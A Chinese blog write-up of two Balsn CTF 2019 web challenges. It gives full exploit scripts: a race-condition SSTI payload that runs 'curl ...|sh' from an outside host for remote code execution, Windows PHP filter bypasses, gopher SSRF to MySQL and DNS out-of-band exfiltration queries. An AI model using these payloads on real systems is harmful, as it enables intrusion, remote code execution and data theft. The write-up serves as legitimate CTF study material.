2019balsnCTF的Warmup和koreanfish赛后复现

前言

这次打了Balsn-ctf-2019感觉题目还不错因此总结一波。

0x01 Koreanfish

题目描述
台湾人喜欢韩国🐟
  • Difficulty:难
  • Type:web
  • Solved:15/720
  • Tag:PHP,DNS Rebinding,Flask,Race condition,SSTI,RCE
Source Code
这是一个白盒测试,并且全部的源码是非常短的并且是简单的。
前置知识。
Session上传进度。
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得,例如
1
2
3
4
<?php
$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload-progress.name");
var_dump($_SESSION[$key]);
?>
通过将$_SESSION[$key][“cancel_upload”]设置为TRUE,还可以取消一个正在处理中的文件上传。 当在同一个请求中上传多个文件,它仅会取消当前正在处理的文件上传和未处理的文件上传,但是不会移除那些已经完成的上传。 当一个上传请求被这么取消时,$_FILES中的error将会被设置为 UPLOAD_ERR_EXTENSION。
session.upload_progress.freq 和 session.upload_progress.min_freq INI选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。
Example #1 样例信息
一个上传进度数组的结构的例子
1
2
3
4
5
6
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
在session中存放的数据看上去是这样子的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);
step 1
如果你看到这个源码index.php,你将会知道这第一步是去绕过ip限制。
事实上,这是一个明显的DNS重新绑定漏洞,可以绕过ip限制。
1
2
3
4
5
$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];
...
$dev_ip = "54.87.54.87";
if($ip === $dev_ip) {
$content = file_get_contents($dst);
这个file_get_contents()会再次查询DNS和读取响应。
如果我们将域的A记录设置为54.87.54.87127.0.0.1,则可以绕过IP限制查询内部服务。
如果没有然后域名可以用一些在线的DNS重新绑定服务,例如:rbndr.us
例如36573657.7f000001.rbndr.us将返回54.87.54.87或127.0.0.1。
step 2
从dockerfile中,我们知道在同一台服务器上运行着一个简单的flask应用程序。
并且在/error_page功能上存在明显的SSTI漏洞,它render_template_string()与可控的内容一起使用。
如果error_status设置为绝对路径,则返回路径os.path.join()将被覆盖。
例如os.path.join("/var/www/flask", "error", "/etc/passwd")将返回/etc/passwd
但是这里的问题是你不能直接触摸它/error_page
由于前面的php将检查查询的路径,因此该路径必须包含字符串korea:
1
if(stripos($res['path'], "korea") === FALSE) die("Error");
有两种方法可以绕过此路径的限制:
方法0x1
你可以使用重定向:
使用DNS重新绑定到服务器IP,然后设置/korea要重定向到的路径127.0.0.1:5000/error_page?=err......
原因是file_get_contents()将遵循302重定向。
方法0x2
使用Flask的特殊功能!
在flask应用程序中,//korea/ping等于/ping
因此,你可以使用//korea/error_page?err=...绕过限制。
step 3
现在,我们可以控制render_template_string()读取内容的路径。
你应该可以找到一个可以放置我们可控有效负载的文件。
由于服务器使用php运行,因此可以使用该session.upload_progress方法将SSTI有效负载上传到会话文件。
如果PHP_SESSION_UPLOAD_PROGRESS在多部分POST数据中提供,PHP将为您启用会话。

#####(概念与HITCON CTF 2018相同-一行php挑战:链接

#####(注意:您的有效载荷不能包含|,因为这会破坏会话内容格式。)

step 4
默认session.upload_progress.cleanup设置为On,因此您的SSTI有效负载将被快速清除。
我们可以用条件竞争绕过。
利用脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://koreanfish4.balsnctf.com/index.php'
sess_name = 'iamkaibro'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

payload = """
{% for c in []['__class__']['__base__']['__subclasses__']() %}
{% if c['__name__'] == 'catch_warnings' %}
{% for b in c['__init__']['__globals__']['values']() %}
{% if b['__class__']=={}['__class__'] %}
{% if 'eval' in b['keys']() %}
{% if b['eval']('__import__("os")\\x2epopen("curl kaibro\\x2etw/yy\\x7csh")') %}{% endif %}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
"""

def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()

def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
# print filename
while 1:
url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}'.format(HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
print [c]

if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)
最后getshell成功。

0x02 Warmup

题目描述
Baby PHP challenge again.
  • Difficulty:难
  • Type:Web
  • Solved:5/720
  • Tag:PHP,SSRF,MySQL,Windows
    源码
    这个题目涉及到许多的php原理和古老的php/windows技巧。
    step 1
    刚开始拿到源码发现非常的难读,我们需要重构一下。
    下面是重构后的源码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    <?php
    // This is the meme image location
    $secret = base64_decode(str_rot13("CTygMlOmpz"."Z9VaSkYzcjMJpvCt=="));

    highlight_file(__FILE__);

    include("config.php");

    $op = @$_GET['op'];

    if(@strlen($op) < 3 && @($op + 8) < 'A_A') {

    $_ = @$_GET['Σ>―(#°ω°#)♡→'];

    if( preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i',$_) || @strlen(count_chars(strtolower($_), 0x3)) > 0xd || @strlen($_) > 19 )
    exit($secret);

    $ch = curl_init();
    @curl_setopt($ch, CURLOPT_URL,
    str_replace("%33%33%61", ">__<",
    str_replace("%63%3a", "WTF", str_replace("633a", ":)",
    str_repLace("433a", ":(",
    str_replace("\x63:", "ggininder",
    strtolower(
    eval("return $_;")
    ))))))
    );
    @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    @curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    @curl_EXEC($ch);

    } else {

    if(@stRLEn($op) < 4 && @($op + 78) < 'A__A') {

    // There is a invisible character here. (\xe2\x81\xa3)
    $_ = @$_GET['⁣'];

    if((strtolower(substr($_, -4)) === '.php') ||
    (strtolower(substr($_, -4)) === 'php.') ||
    (stripos($_, "\"") !== FALSE) ||
    (stripos($_, "\x3e") !== FALSE) ||
    (stripos($_,"\x3c") !== FALSE) ||
    (stripos(strtolower($_), "amp") !== FALSE))
    die($secret);

    if(stripos($_, "..") !== FALSE)
    die($secret);

    if(stripos($_, "\x24") !== FALSE)
    die($secret);

    print_r(substr(@file_get_contents($_), 0, 155));

    } else {

    die($secret);

    // It is useless, because there is a die function before it. :D
    system($_GET[0x9487945]);

    }
    }
step 2
我们现在初始去读取config.php
有两个方式可以去用:
1.使用file_get_contents()(预期)
2.使用eval()(非预期)
方法 0x1
if(@stRLEn($op) < 4 && @($op + 78) < 'A__A')
对于这段代码我们可以用op=-99来绕过。
之后我们可以输入我们的文件名到file_get_contents():
$_GET[''];
这个参数$_GET的参数是\xE2\x81\xA3,它是一个不可见的字符。
我们的目的是去阅读config.php,但是对我们输入的一些文件名有检查。
我们不能使用.phpphp.的文件名后缀并且我们的文件名不能包含",>,<,amp,$,..
为了去绕过这个限制去阅读php源代码,你仅仅需要去添加一个空格(%20):
config.php[SPACE]
(Because the server is running on Windows, there are some weird path normalization rule here :p)
你如果尝试去读取源代码config.php使用如下payload:
1
http://warmup.balsnctf.com/?op=-99&%E2%81%A3=config.php%20
你将会得到config.php的内容。
1
2
3
4
5
<?php
// ***********************************
// THIS IS THE CONFIG OF THE MYSQL DB
// ***********************************
$host = "loca
因为file_get_contents()的第三个参数是155。
我们应该使用一些特殊的php包装器来解压缩config.php的内容。
因此php://filter/zlib.deflate是最好的选择。
使用zlib.deflate压缩内容,然后使用zlib.inflate解压缩内容。
脚本如下:
1
2
3
4
5
6
<?php
header("Content-Type: text/html;charset=utf-8");
$a = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
$idx=strpos($a,"</code>")+7;
file_put_contents("./tmp/tmp",substr($a,$idx));
echo file_get_contents("php://filter/zlib.inflate/resource=./tmp/tmp");
你将会看见config.php的内容。
1
2
3
4
5
6
7
8
9
10
<?php
// ***********************************
// THIS IS THE CONFIG OF THE MYSQL DB
// ***********************************
$host = "localhost";
$user = "admin";
$pass = "";
$port = 8787;
// hint:flag-is-in-the-database XDDDDDDD
// ====================================
方法 0x2
我们还可以使用eval()来读取config.php
在这个eval()函数中,你输入的$_将会放到eval("return $_;")
但是有个严格的正则表达式来控制:
1
2
if( preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i',$_) || @strlen(count_chars(strtolower($_), 0x3)) > 0xd || @strlen($_) > 19 )
exit($secret);
然而我们可以使用~来绕过许多的限制。
例如:~urldecode("%8D%9A%9E%9B%99%96%93%9A")等价于readfile
在windows中,有一些MAGIC通配符功能可用于路径标准化。
例如:
>将匹配一个任意字符。(例如?在linux中)
<将匹配零个或者多个任意字符。(例如*在linux中)
结合~技巧和<技巧:
1
/?op=-9&Σ>―(%23°ω°%23)♡→=(~%8D%9A%9E%9B%99%96%93%9A)(~%9C%90%C3%C3)
(与readfile("co<<")相同)
Step 3
config.php的内容告诉我们flag是在MySQL 数据库中,我们接下来的目标是去查询MySQL Server并且获取结果。
并且我们知道这个user是admin并且密码是空的,因此我们可以用gopher://协议来SSRF去查询mysql server。
但是gopher的payload是十分长的,因此我们首先需要去绕过这个正则表达式。
如果你尝试去搜索全部的PHP函数,并且满足这个正则规则和长度限制,你将会发现一个可用的函数getenv()
这个函数会返回一个特别的头部值。
因此我们能将我们的gopher的payload放到这个HTTP header:
(~%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%AB) (length: 18)
它等价于getenv("HTTP_T")
Step 4
现在我们可以SSRF:
现在,您有一个盲目的SSRF!
对于MySQL协议,可以使用Gopherus之类的一些工具来创建gopher负载。
最后,您只需要使用基于时间或带外(DNS日志)的方法来提取查询结果。
1
2
3
4
5
6
7
select load_file(concat("\\\\",table_name,".e222e6f24ba81a9b414f.d.zhack.ca/a")) from information_schema.tables where table_schema="ThisIsTheDbName";
Output: fl4ggg
select load_file(concat("\\\\",column_name,".e222e6f24ba81a9b414f.d.zhack.ca/a")) from information_schema.columns where table_name="fl4ggg";
Output: the_flag_col
select load_file(concat("\\\\",hex(the_flag_col),".e222e6f24ba81a9b414f.d.zhack.ca/a")) from ThisIsTheDbName.fl4ggg;
Output: 42616C736E7B337A5F77316E643077735F7068705F6368346C7D
hex to ascii: Balsn{3z_w1nd0ws_php_ch4l}
最后的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding: utf-8

import requests

class MySQL():
print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"
user = 'admin' #raw_input("\033[96m" +"\nGive MySQL username: " + "\033[0m")
encode_user = user.encode("hex")
user_length = len(user)
temp = user_length - 4
length = (chr(0xa3+temp)).encode("hex")

dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
dump += encode_user
dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"

query = "show databases;";#raw_input("\033[96m" +"Give query to execute: "+ "\033[0m")

auth = dump.replace("\n","")

def encode(self, s):
a = [s[i:i + 2] for i in range(0, len(s), 2)]
#return "gopher://127.0.0.1:3306/_%" + "%".join(a)
return "gopher://127.0.0.1:8787/_%" + "%".join(a)


def get_payload(self, query):
if(query.strip()!=''):
query = query.encode("hex")
query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
query_length = query_length.decode('hex')[::-1].encode('hex')
pay1 = query_length + "0003" + query
final = self.encode(self.auth + pay1 + "0100000001")
return final
else:
return encode(self.auth)


# coding: utf-8
from flask import Flask, render_template, request

app = Flask(__name__, template_folder='.')

import time
@app.route('/')
def blind():
username = request.args.get('username')
url = "http://localhost/gg.php"
url = "http://warmup.balsnctf.com/"
def n(s):
r = ""
for i in s:
r += chr(~(ord(i)) & 0xFF)
r = "~{}".format(r)
return r

t = '(' + n('getenv') + ')(' +n('HTTP_X') + ')'
# x = MySQL().get_payload("select IF(TRUE AND (select '1'='{username}'), sleep(10), sleep(0));".format(username=username))
x = MySQL().get_payload("select id from (select 1 as id)a where id='{username}';".format(username=username))

print repr(x)
print len(t)
try:
r = requests.post(url=url, params = {
'op' : '-9',
'Σ>―(#°ω°#)♡→' : t
},
cookies = {"PHPSESSID" : "123"},
headers = {"X": x},
timeout = 1.5
)
return "1"
except:

time.sleep(4)
return "0"
return r.content



if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True)

'''
python sqlmap.py -u "http://localhost:5000/?username=*" --technique=T --dbms=mysql --dbs --level 1 --time-sec=2
'''